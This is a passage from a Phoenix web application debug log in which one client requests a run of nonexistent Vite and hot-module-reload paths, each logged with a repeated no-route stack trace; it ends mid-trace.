[Sat Sep  5 01:59:32.985000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:49262] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.989000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47246] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.013000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33352] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.020000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47248] GET /@hmr
[Sat Sep  5 01:59:33.060000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39198] GET /vite/client.js
[Sat Sep  5 01:59:33.075000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47248] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.103000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39198] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.116000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33368] GET /__hmrClient.mjs
[Sat Sep  5 01:59:33.151000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33368] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.159000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /vite/client.mjs
[Sat Sep  5 01:59:33.184000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:57272] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.202000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39204] GET /vite/hmr
[Sat Sep  5 01:59:33.219000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39204] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.318000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47234] GET /@hmr.js
[Sat Sep  5 01:59:33.353000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47234] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.363000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39182] GET /vite/hmr.js
[Sat Sep  5 01:59:33.392000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39182] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.425000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] GET /@hmr.mjs
[Sat Sep  5 01:59:33.454000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47208] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.477000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47248] GET /__hmrClient
[Sat Sep  5 01:59:33.520000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47248] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.578000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47246] GET /__hmrClient.js
[Sat Sep  5 01:59:33.608000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47246] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.619000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39198] GET /vite/hmr.mjs
[Sat Sep  5 01:59:33.640000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39198] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.662000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39204] GET /@hmr.js
[Sat Sep  5 01:59:33.687000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39204] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.704000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /@hmr
[Sat Sep  5 01:59:33.727000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:57272] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.745000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47234] GET /__hmrClient.mjs
[Sat Sep  5 01:59:33.761000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47234] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
